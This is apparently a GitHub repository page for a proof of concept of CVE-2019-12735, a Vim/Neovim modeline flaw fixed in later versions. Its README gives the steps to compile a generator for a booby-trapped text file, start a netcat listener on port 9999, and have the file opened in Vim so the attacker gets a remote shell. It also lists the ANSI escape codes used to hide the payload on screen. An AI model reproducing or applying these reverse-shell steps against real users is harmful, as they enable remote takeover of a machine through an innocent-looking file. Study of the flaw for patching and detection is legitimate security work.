Skip to content

st9007a/CVE-2019-12735

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2019-12735

This CVE was fixed after neovim 0.3.6 and vim 8.1.1365

POC

vim demo1.txt

Remote shell

  1. Create malware text file:
gcc make_demo3.c -o make_demo3
./make_demo3
  1. Build client in another session:
nc -vlp 9999
  1. Open malware file:
vim demo3.txt

And then, you can execute any linux commands in the session.

Reference

ANSI

  • \x1b[?7l : 輸出到行末時不換行, 持續覆蓋最後一個字元
  • \x1bS: STS, Set transmit state
  • \x1b[1G: 移動到column 1
  • \x1b[K: 刪除從目前游標位置至行末的所有字元